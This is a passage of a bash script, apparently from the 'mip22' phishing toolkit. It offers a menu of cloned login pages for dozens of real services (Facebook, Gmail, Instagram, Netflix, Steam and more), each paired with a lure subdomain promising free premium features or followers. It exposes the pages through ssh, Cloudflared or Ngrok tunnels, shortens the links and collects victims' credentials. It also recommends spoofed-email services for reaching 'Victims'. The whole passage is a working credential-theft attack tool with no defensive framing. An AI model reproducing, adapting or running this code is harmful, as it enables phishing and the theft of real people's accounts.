  459. localrun_url1=${localrun_url#https://}
  460. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$localrun_url1")
  461. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$localrun_url1"
  462. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL https(s) : ${GREEN}$localrun_url"
  463. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$localrun_url1"
  464. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  465. credentials
  466. }
  467. # Start localrun manual
  468. localhostrun_start_manual() {
  469. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  470. { sleep 1; setup_clone_manual; }
  471. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching LocalhostRun..."
  472. if [[ `command -v termux-chroot` ]]; then
  473. sleep 2 && termux-chroot ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  474. else
  475. sleep 2 && ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  476. fi
  477. { sleep 9; clear; header; }
  478. localrun_url=$(grep -o 'https://[-0-9a-z]*\.lhrtunnel.link' ".tunnels_log/.localrun.log")
  479. localrun_url1=${localrun_url#https://}
  480. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$localrun_url1")
  481. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$localrun_url1"
  482. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL https(s) : ${GREEN}$localrun_url"
  483. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$localrun_url1"
  484. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  485. credentials_manual
  486. }
  487. # Select Tunnel
  488. tunnel() {
  489. { clear; header; }
  490. cat <<- EOF
  491. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Localhost ${MAGENTA} (for practise only)
  492. ${GREEN}[${WHITE}2${GREEN}]${CYAN} LocalhostRun ${MAGENTA} (alternative)
  493. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Cloudflared ${MAGENTA} (recommended)
  494. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Ngrok ${MAGENTA} (first install token from menu)
  495. EOF
  496. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select a port forwarding service : ${WHITE}"
  497. case $REPLY in
  498. 1)
  499. localhost_start;;
  500. 2)
  501. localhostrun_start;;
  502. 3)
  503. cloudflared_start;;
  504. 4)
  505. ngrok_start;;
  506. *)
  507. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
  508. { sleep 1; header; tunnel;};;
  509. esac
  510. }
  511. # Select Tunnel customize
  512. tunnel_customize() {
  513. { clear; header; }
  514. cat <<- EOF
  515. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Localhost ${MAGENTA} (for practise only)
  516. ${GREEN}[${WHITE}2${GREEN}]${CYAN} LocalhostRun ${MAGENTA} (alternative)
  517. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Cloudflared ${MAGENTA} (recommended)
  518. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Ngrok ${MAGENTA} (first install token from menu)
  519. EOF
  520. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select a port forwarding service : ${WHITE}"
  521. case $REPLY in
  522. 1)
  523. localhost_start_customize;;
  524. 2)
  525. localhostrun_start_customize;;
  526. 3)
  527. cloudflared_start_customize;;
  528. 4)
  529. ngrok_start_customize;;
  530. *)
  531. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
  532. { sleep 1; header; tunnel_customize;};;
  533. esac
  534. }
  535. start_manual_method() {
  536. cd .manual_attack && php -S "127.0.0.1:8081" > /dev/null 2>&1 &
  537. echo -e "\n${GREEN}[${WHITE}-${GREEN}] ${GREEN} Visit ${WHITE} http://127.0.0.1:8081 ${GREEN} for setup clone page "${WHITE}
  538. echo -e "\n${GREEN}[${WHITE}-${GREEN}] ${GREEN} After setup clone page return to here and continue... "${WHITE}
  539. }
  540. # Select Tunnel
  541. tunnel_manual() {
  542. { clear; header; }
  543. start_manual_method
  544. cat <<- EOF
  545. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Localhost ${MAGENTA} (for practise only)
  546. ${GREEN}[${WHITE}2${GREEN}]${CYAN} LocalhostRun ${MAGENTA} (alternative)
  547. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Cloudflared ${MAGENTA} (recommended)
  548. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Ngrok ${MAGENTA} (first install token from menu)
  549. EOF
  550. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select a port forwarding service : ${WHITE}"
  551. case $REPLY in
  552. 1)
  553. localhost_start_manual;;
  554. 2)
  555. localhostrun_start_manual;;
  556. 3)
  557. cloudflared_start_manual;;
  558. 4)
  559. ngrok_start_manual;;
  560. *)
  561. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
  562. { sleep 1; header; tunnel_manual;};;
  563. esac
  564. }
  565. vpn_setup() {
  566. { clear; header; echo; }
  567. cat <<- EOF
  568. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Psiphon Vpn
  569. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  570. EOF
  571. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Api : ${WHITE}"${WHITE}
  572. case $REPLY in
  573. 1)
  574. if [[ `command -v termux-chroot` ]]; then
  575. echo "https://play.google.com/store/apps/details?id=com.psiphon3.subscription"
  576. sleep 4 && menu
  577. else
  578. echo "https://play.google.com/store/apps/details?id=com.psiphon3.subscription"
  579. #echo 'Not Supported. Setup your vpn manual'
  580. sleep 4 && menu
  581. fi ;;
  582. 99) menu;;
  583. *)
  584. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
  585. { sleep 0.7; ngrok_setup_token;};;
  586. esac
  587. }
  588. play_music() {
  589. { clear; header; }
  590. cat <<- EOF
  591. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Play Music
  592. ${GREEN}[${WHITE}2${GREEN}]${CYAN} Stop Music
  593. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  594. ${MAGENTA} If you select this option which is the background music then you may
  595. ${MAGENTA} not see the attacker's details directly in the terminal.
  596. ${MAGENTA} If you not seen the data pause the music and restart the program again.
  597. ${MAGENTA} However, they have been saved in the data txt file.
  598. EOF
  599. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Option : ${WHITE}"${WHITE}
  600. case $REPLY in
  601. 1)
  602. xterm -e nohup mpv .music/mis_song.mp3 > /dev/null 2>&1
  603. menu;;
  604. 2)
  605. pidof mpv && killall mpv > /dev/null 2>&1
  606. menu;;
  607. 99)
  608. menu;;
  609. *)
  610. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again...";;
  611. esac
  612. }
  613. notice_login()
  614. {
  615. xterm -e nohup mpv .notifications/find_login.mp3 > /dev/null 2>&1
  616. }
  617. attack() {
  618. { clear; header; echo; }
  619. cat <<- EOF
  620. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Adobe ${GREEN}[${WHITE}25${GREEN}]${CYAN} Line ${GREEN}[${WHITE}49${GREEN}]${CYAN} Spotify
  621. ${GREEN}[${WHITE}2${GREEN}]${CYAN} Amazon ${GREEN}[${WHITE}26${GREEN}]${CYAN} LinkedIn ${GREEN}[${WHITE}50${GREEN}]${CYAN} Stackoverflow
  622. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Apple ${GREEN}[${WHITE}27${GREEN}]${CYAN} Livejournal ${GREEN}[${WHITE}51${GREEN}]${CYAN} Steam
  623. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Baddo ${GREEN}[${WHITE}28${GREEN}]${CYAN} Mediafire ${GREEN}[${WHITE}52${GREEN}]${CYAN} Tagged
  624. ${GREEN}[${WHITE}5${GREEN}]${CYAN} Care2 ${GREEN}[${WHITE}29${GREEN}]${CYAN} MeWe ${GREEN}[${WHITE}53${GREEN}]${CYAN} Telegram
  625. ${GREEN}[${WHITE}6${GREEN}]${CYAN} Clashofclans ${GREEN}[${WHITE}30${GREEN}]${CYAN} Microsoft ${GREEN}[${WHITE}54${GREEN}]${CYAN} Tiktok
  626. ${GREEN}[${WHITE}7${GREEN}]${CYAN} Crunchyroll ${GREEN}[${WHITE}31${GREEN}]${CYAN} Mocospace ${GREEN}[${WHITE}55${GREEN}]${CYAN} Tiktok Followers
  627. ${GREEN}[${WHITE}8${GREEN}]${CYAN} Deviantart ${GREEN}[${WHITE}32${GREEN}]${CYAN} Myspace ${GREEN}[${WHITE}56${GREEN}]${CYAN} Tumblr
  628. ${GREEN}[${WHITE}9${GREEN}]${CYAN} Discord ${GREEN}[${WHITE}33${GREEN}]${CYAN} Netflix ${GREEN}[${WHITE}57${GREEN}]${CYAN} Twitch
  629. ${GREEN}[${WHITE}10${GREEN}]${CYAN} Dota2 ${GREEN}[${WHITE}34${GREEN}]${CYAN} Origin ${GREEN}[${WHITE}58${GREEN}]${CYAN} Twitter
  630. ${GREEN}[${WHITE}11${GREEN}]${CYAN} Dropbox ${GREEN}[${WHITE}35${GREEN}]${CYAN} Outlook ${GREEN}[${WHITE}59${GREEN}]${CYAN} Viber Out
  631. ${GREEN}[${WHITE}12${GREEN}]${CYAN} Ebay ${GREEN}[${WHITE}36${GREEN}]${CYAN} Pinterest ${GREEN}[${WHITE}60${GREEN}]${CYAN} Vimeo
  632. ${GREEN}[${WHITE}13${GREEN}]${CYAN} Facebook ${GREEN}[${WHITE}37${GREEN}]${CYAN} Playstation ${GREEN}[${WHITE}61${GREEN}]${CYAN} Vk
  633. ${GREEN}[${WHITE}14${GREEN}]${CYAN} Facebook Messenger ${GREEN}[${WHITE}38${GREEN}]${CYAN} Protonmail ${GREEN}[${WHITE}62${GREEN}]${CYAN} Whatsapp
  634. ${GREEN}[${WHITE}15${GREEN}]${CYAN} Facebook Security ${GREEN}[${WHITE}49${GREEN}]${CYAN} Pubg ${GREEN}[${WHITE}63${GREEN}]${CYAN} Wordpress
  635. ${GREEN}[${WHITE}16${GREEN}]${CYAN} Gmail ${GREEN}[${WHITE}40${GREEN}]${CYAN} Quora ${GREEN}[${WHITE}64${GREEN}]${CYAN} Xanga
  636. ${GREEN}[${WHITE}17${GREEN}]${CYAN} Goodreads ${GREEN}[${WHITE}41${GREEN}]${CYAN} Reverly ${GREEN}[${WHITE}65${GREEN}]${CYAN} Xbox
  637. ${GREEN}[${WHITE}18${GREEN}]${CYAN} Hotstar ${GREEN}[${WHITE}42${GREEN}]${CYAN} Reddit ${GREEN}[${WHITE}66${GREEN}]${CYAN} Xing
  638. ${GREEN}[${WHITE}19${GREEN}]${CYAN} Icloud ${GREEN}[${WHITE}43${GREEN}]${CYAN} Reverbnation ${GREEN}[${WHITE}67${GREEN}]${CYAN} Yahoo
  639. ${GREEN}[${WHITE}20${GREEN}]${CYAN} Influenster ${GREEN}[${WHITE}44${GREEN}]${CYAN} Signal ${GREEN}[${WHITE}68${GREEN}]${CYAN} Yandex
  640. ${GREEN}[${WHITE}21${GREEN}]${CYAN} Instagram ${GREEN}[${WHITE}45${GREEN}]${CYAN} Skype ${GREEN}[${WHITE}69${GREEN}]${CYAN} Youtube SUbs
  641. ${GREEN}[${WHITE}22${GREEN}]${CYAN} Insta Followers ${GREEN}[${WHITE}46${GREEN}]${CYAN} Skyrock ${GREEN}[${WHITE}02${GREEN}]${CYAN} Others
  642. ${GREEN}[${WHITE}23${GREEN}]${CYAN} Insta Followers 2 ${GREEN}[${WHITE}47${GREEN}]${CYAN} Snapchat ${GREEN}[${WHITE}99${GREEN}]${MAGENTA} Main Menu
  643. ${GREEN}[${WHITE}24${GREEN}]${CYAN} Instagram Verify ${GREEN}[${WHITE}48${GREEN}]${CYAN} Socialclub
  644. EOF
  645. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
  646. case $REPLY in
  647. 1)
  648. site="adobe"
  649. subdomain='http://adobe-pro-membership-lifetime-for-you'
  650. tunnel;;
  651. 2)
  652. site="amazon"
  653. subdomain='http://amazon-pro-membership-lifetime-for-you'
  654. tunnel;;
  655. 3)
  656. site="apple"
  657. subdomain='http://apple-security-account-login'
  658. tunnel;;
  659. 4)
  660. site="badoo"
  661. subdomain='http://get-2000-euro-free-for-your-acount'
  662. tunnel;;
  663. 5)
  664. site="care2"
  665. subdomain='http://get-2000-tokens-free-for-your-acount'
  666. tunnel;;
  667. 6)
  668. site="clashofclans"
  669. subdomain='http://get-free-character-for-clashofclans-game'
  670. tunnel;;
  671. 7)
  672. site="crunchyroll"
  673. subdomain='http://get-free-character-for-crunchyroll-game'
  674. tunnel;;
  675. 8)
  676. site="deviantart"
  677. subdomain='http://deviantart-upgrade-account-pro-for-free'
  678. tunnel;;
  679. 9)
  680. site="discord"
  681. subdomain='http://discord-upgrade-account-pro-for-free'
  682. tunnel;;
  683. 10)
  684. site="dota2"
  685. subdomain='http://dota-upgrade-account-pro-for-free'
  686. tunnel;;
  687. 11)
  688. site="dropbox"
  689. subdomain='http://get-2TB-cloud-storage-free'
  690. tunnel;;
  691. 12)
  692. site="ebay"
  693. subdomain='http://ebay-upgrade-account-for-free'
  694. tunnel;;
  695. 13)
  696. site="facebook"
  697. subdomain='http://secure-verified-account-for-facebook'
  698. tunnel;;
  699. 14)
  700. site="facebook_messenger"
  701. subdomain='http://messenger-premium-features-for-free'
  702. tunnel;;
  703. 15)
  704. site="facebook_security"
  705. subdomain='http://make-your-facebook-secured-from-hackers'
  706. tunnel;;
  707. 16)
  708. site="gmail"
  709. subdomain='http://get-unlimited-google-drive-free'
  710. tunnel;;
  711. 17)
  712. site="goodreads"
  713. subdomain='http://goodreads-updrade-account-lifetime-free'
  714. tunnel;;
  715. 18)
  716. site="hotstar"
  717. subdomain='http://hotstar-premieum-account-for-free'
  718. tunnel;;
  719. 19)
  720. site="icloud"
  721. subdomain='http://get-2TB-cloud-storage-free'
  722. tunnel;;
  723. 20)
  724. site="influenster"
  725. subdomain='http://update-account-to-premium-free'
  726. tunnel;;
  727. 21)
  728. site="instagram"
  729. subdomain='http://secure-login-for-instagram'
  730. tunnel;;
  731. 22)
  732. site="instagram_followers"
  733. subdomain='http://get-10000-followers-for-instagram'
  734. tunnel;;
  735. 23)
  736. site="instagram_followers_2"
  737. subdomain='http://get-10000-followers-for-instagram'
  738. tunnel;;
  739. 24)
  740. site="instagram_verify"
  741. subdomain='http://instagram-verify-account'
  742. tunnel;;
  743. 25)
  744. site="line"
  745. subdomain='http://line-get-free-tokens-for-speech'
  746. tunnel;;
  747. 26)
  748. site="linkedin"
  749. subdomain='http://get-a-premium-plan-for-linkedin-free'
  750. tunnel;;
  751. 27)
  752. site="livejournal"
  753. subdomain='http://get-a-premium-plan-for-livejournal-free'
  754. tunnel;;
  755. 28)
  756. site="mediafire"
  757. subdomain='http://get-2TB-cloud-storage-free'
  758. tunnel;;
  759. 29)
  760. site="mewe"
  761. subdomain='http://mewe-update-account-to-premium-free'
  762. tunnel;;
  763. 30)
  764. site="microsoft"
  765. subdomain='http://unlimited-onedrive-space-for-free'
  766. tunnel;;
  767. 31)
  768. site="mocospace"
  769. subdomain='http://upgrade-your-mocospace-plan-free'
  770. tunnel;;
  771. 32)
  772. site="myspace"
  773. subdomain='http://upgrade-your-myspace-plan-free'
  774. tunnel;;
  775. 33)
  776. site="netflix"
  777. subdomain='http://upgrade-your-netflix-plan-free'
  778. tunnel;;
  779. 34)
  780. site="origin"
  781. subdomain='http://origin-upgrade-to-premium-account-free'
  782. tunnel;;
  783. 35)
  784. site="outlook"
  785. subdomain='http://unlimited-onedrive-space-for-free'
  786. tunnel;;
  787. 36)
  788. site="pinterest"
  789. subdomain='http://get-a-premium-plan-for-pinterest-free'
  790. tunnel;;
  791. 37)
  792. site="playstation"
  793. subdomain='http://playstation-premium-account-free'
  794. tunnel;;
  795. 38)
  796. site="protonmail"
  797. subdomain='http://protonmail-pro-basics-for-free'
  798. tunnel;;
  799. 39)
  800. site="pubg"
  801. subdomain='http://get-free-character-for-pubs-game'
  802. tunnel;;
  803. 40)
  804. site="quora"
  805. subdomain='http://get-quora-premium-account-for-free-lifetime'
  806. tunnel;;
  807. 41)
  808. site="raverly"
  809. subdomain='http://get-raverly-premium-account-for-free-'
  810. tunnel;;
  811. 42)
  812. site="reddit"
  813. subdomain='http://reddit-official-verified-member-badge'
  814. tunnel;;
  815. 43)
  816. site="reverbnation"
  817. subdomain='http://get-reverbnation-premium-account-for-free-'
  818. tunnel;;
  819. 44)
  820. site="signal"
  821. subdomain='http://signal-get-free-tokens-for-speech'
  822. tunnel;;
  823. 45)
  824. site="skype"
  825. subdomain='http://skype-get-free-tokens-for-speech'
  826. tunnel;;
  827. 46)
  828. site="skyrock"
  829. subdomain='http://skyrock-upgrade-to-premium-account-free'
  830. tunnel;;
  831. 47)
  832. site="snapchat"
  833. subdomain='http://view-locked-snapchat-accounts-secretly'
  834. tunnel;;
  835. 48)
  836. site="socialclub"
  837. subdomain='http://-socialclub-update-account-to-premieum-free'
  838. tunnel;;
  839. 49)
  840. site="spotify"
  841. subdomain='http://convert-your-account-to-spotify-premium'
  842. tunnel;;
  843. 50)
  844. site="stackoverflow"
  845. subdomain='http://stackoverflow-convert-your-account-to-premium'
  846. tunnel;;
  847. 51)
  848. site="steam"
  849. subdomain='http://steam-convert-your-account-to-premium'
  850. tunnel;;
  851. 52)
  852. site="tagget"
  853. subdomain='http://tagget-convert-your-account-to-premium'
  854. tunnel;;
  855. 53)
  856. site="telegram"
  857. subdomain='http://telegram-get-free-tokens-for-speech'
  858. tunnel;;
  859. 54)
  860. site="tiktok"
  861. subdomain='http://get-tiktok-100000-followers-free-at-instant'
  862. tunnel;;
  863. 55)
  864. site="tiktok_followers"
  865. subdomain='http://get-tiktok-100000-followers-free-at-instant'
  866. tunnel;;
  867. 56)
  868. site="tumblr"
  869. subdomain='http://tumblr-upgrade-account-to-premium-free'
  870. tunnel;;
  871. 57)
  872. site="twitch"
  873. subdomain='http://unlimited-twitch-tv-user-for-free'
  874. tunnel;;
  875. 58)
  876. site="twitter"
  877. subdomain='http://get-blue-badge-on-twitter-free'
  878. tunnel;;
  879. 59)
  880. site="viber_out"
  881. subdomain='http://viber-get-free-tokens-for-speech'
  882. tunnel;;
  883. 60)
  884. site="vimeo"
  885. subdomain='http://get-100000-views-for-channel-free'
  886. tunnel;;
  887. 61)
  888. site="vk"
  889. subdomain='http://vk-premium-real-method-2022-free'
  890. tunnel;;
  891. 62)
  892. site="whatsapp"
  893. subdomain='http://get-3000-free-tokens-for-free'
  894. tunnel;;
  895. 63)
  896. site="wordpress"
  897. subdomain='http://get-unlimited-wordpress-traffic-free'
  898. tunnel;;
  899. 64)
  900. site="xanga"
  901. subdomain='http://xanga-update-account-to-premieum'
  902. tunnel;;
  903. 65)
  904. site="xbox"
  905. subdomain='http://xbox-premium-account-new-method-2022'
  906. tunnel;;
  907. 66)
  908. site="xing"
  909. subdomain='http://xing-update-account-to-premieum'
  910. tunnel;;
  911. 67)
  912. site="yahoo"
  913. subdomain='http://grab-mail-from-anyother-yahoo-account-free'
  914. tunnel;;
  915. 68)
  916. site="yandex"
  917. subdomain='http://grab-mail-from-anyother-yandex-account-free'
  918. tunnel;;
  919. 69)
  920. site="youtube_subs"
  921. subdomain='http://get-100000-youtube-subscribers-free'
  922. tunnel;;
  923. 02)
  924. other_sites;;
  925. 99) menu;;
  926. *)
  927. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
  928. { sleep 0.7; attack;};;
  929. esac
  930. }
  931. other_sites() {
  932. { clear; header; echo; }
  933. cat <<- EOF
  934. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Freefire
  935. ${GREEN}[${WHITE}2${GREEN}]${CYAN} Roblox
  936. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Academia
  937. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Airbnb
  938. ${GREEN}[${WHITE}5${GREEN}]${CYAN} Bigmuscle
  939. ${GREEN}[${WHITE}6${GREEN}]${CYAN} Doximity
  940. ${GREEN}[${WHITE}7${GREEN}]${CYAN} Flickr
  941. ${GREEN}[${WHITE}8${GREEN}]${CYAN} Hi5
  942. ${GREEN}[${WHITE}9${GREEN}]${CYAN} Issue
  943. ${GREEN}[${WHITE}10${GREEN}]${CYAN} NYtimes
  944. ${GREEN}[${WHITE}11${GREEN}]${CYAN} Pokemon Trainer
  945. ${GREEN}[${WHITE}12${GREEN}]${CYAN} WTsocial
  946. ${GREEN}[${WHITE}13${GREEN}]${CYAN} Yammer
  947. ${GREEN}[${WHITE}14${GREEN}]${CYAN} Yelp
  948. ${GREEN}[${WHITE}99${GREEN}]${MAGENTA} Main Menu
  949. EOF
  950. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
  951. case $REPLY in
  952. 1)
  953. site="freefire"
  954. subdomain='http://get-free-character-for-freefire-game'
  955. tunnel;;
  956. 2)
  957. site="roblox"
  958. subdomain='http://get-free-character-for-roblox-game'
  959. tunnel;;
  960. 3)
  961. site="academia"
  962. subdomain='http://academia-account-update-plan-free'
  963. tunnel;;
  964. 4)
  965. site="airbnb"
  966. subdomain='http://airbnb-account-upgrade-plan-free'
  967. tunnel;;
  968. 5)
  969. site="bigmuscle"
  970. subdomain='http://bigmuscle-account-update-plan-free'
  971. tunnel;;
  972. 6)
  973. site="doximity"
  974. subdomain='http://doximity-account-update-plan-free'
  975. tunnel;;
  976. 7)
  977. site="flickr"
  978. subdomain='http://flickr-account-upgrade-plan-pro-free'
  979. tunnel;;
  980. 8)
  981. site="hi5"
  982. subdomain='http://hi5-account-secure-login'
  983. tunnel;;
  984. 9)
  985. site="issue"
  986. subdomain='http://flickr-account-upgrade-plan-pro-free'
  987. tunnel;;
  988. 10)
  989. site="nytimes"
  990. subdomain='http://nytimes-account-upgrade-to-pro-free'
  991. tunnel;;
  992. 11)
  993. site="pokemon"
  994. subdomain='http://pokemon-update-account-plan-free'
  995. tunnel;;
  996. 12)
  997. site="wtsocial"
  998. subdomain='http://wtsocial-secure-login'
  999. tunnel;;
  1000. 13)
  1001. site="yammer"
  1002. subdomain='http://yammer-secure-login'
  1003. tunnel;;
  1004. 14)
  1005. site="yelp"
  1006. subdomain='http://yelp-secure-login'
  1007. tunnel;;
  1008. 99) menu;;
  1009. *)
  1010. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
  1011. { sleep 0.7; other_sites;};;
  1012. esac
  1013. }
  1014. customize_sites()
  1015. {
  1016. { clear; header; echo; }
  1017. echo -ne "\n${MAGENTA}Customize your site.
  1018. ${GREEN}Go inside the .customize folder \nand create your own customized sites inside folders.
  1019. Place all your files inside the same folder.
  1020. For example folder mysite and inside all files.
  1021. Then just type the folder name and choose tunnel. \n\n"
  1022. cat <<- EOF
  1023. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Customized
  1024. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  1025. EOF
  1026. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
  1027. case $REPLY in
  1028. 1)
  1029. read -p ${CYAN}"Enter folder name e.x mysite: "${WHITE} customize_folder
  1030. read -p ${CYAN}"Enter subdomain for tunnel e.x mysite-update-plan-premium-free: "${WHITE} customize_subdomain
  1031. site=$customize_folder
  1032. subdomain=$customize_subdomain
  1033. tunnel_customize;;
  1034. 99)
  1035. menu;;
  1036. *)
  1037. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
  1038. { sleep 0.7; attack_customize;};;
  1039. esac
  1040. }
  1041. attack_manual() {
  1042. subdomain='http:secure-login-page'
  1043. tunnel_manual
  1044. }
  1045. email() {
  1046. { clear; header; echo; }
  1047. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Use this services for send email to Victims \n"
  1048. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${CYAN} https://www.guerrillamail.com/ \n"
  1049. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${CYAN} https://emkei.cz/ ${MAGENTA} (recommended) \n"
  1050. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${CYAN} https://mailspre.com/ \n"
  1051. echo -ne "\n\n"
  1052. cat <<- EOF
  1053. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  1054. EOF
  1055. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
  1056. case $REPLY in
  1057. 99) menu;;
  1058. *)
  1059. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
  1060. { sleep 0.7; email;};;
  1061. esac
  1062. }
  1063. menu() {
  1064. { clear; header; echo; }
  1065. cat <<- EOF
  1066. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Attack Default
  1067. ${GREEN}[${WHITE}2${GREEN}]${CYAN} Attack Manual
  1068. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Attack Customize
  1069. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Apis
  1070. ${GREEN}[${WHITE}5${GREEN}]${CYAN} Email
  1071. ${GREEN}[${WHITE}6${GREEN}]${CYAN} Vpn
  1072. ${GREEN}[${WHITE}7${GREEN}]${CYAN} Sound (pc only)
  1073. ${GREEN}[${WHITE}0${GREEN}]${ORANGE} Exit
  1074. EOF
  1075. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
  1076. case $REPLY in
  1077. 1) attack;;
  1078. 2) attack_manual;;
  1079. 3) customize_sites;;
  1080. 4) apis;;
  1081. 5) email;;
  1082. 6) vpn_setup;;
  1083. 7) play_music;;
  1084. help) help;;
  1085. 0)
  1086. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${ORANGE} Thanks for using mip22 "${WHITE}
  1087. sleep 2
  1088. clear
  1089. exit 1;;
  1090. *)
  1091. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
  1092. { sleep 0.7; menu;};;
  1093. esac
  1094. }
  1095. control_c()
  1096. {
  1097. echo -e "${RESETBG}"
  1098. echo -e "${RESETFG}"
  1099. clear
  1100. exit 1
  1101. }
  1102. trap control_c SIGINT
  1103. check_os_and_install_packages
  1104. check_root_and_os
  1105. pid_kill
  1106. menu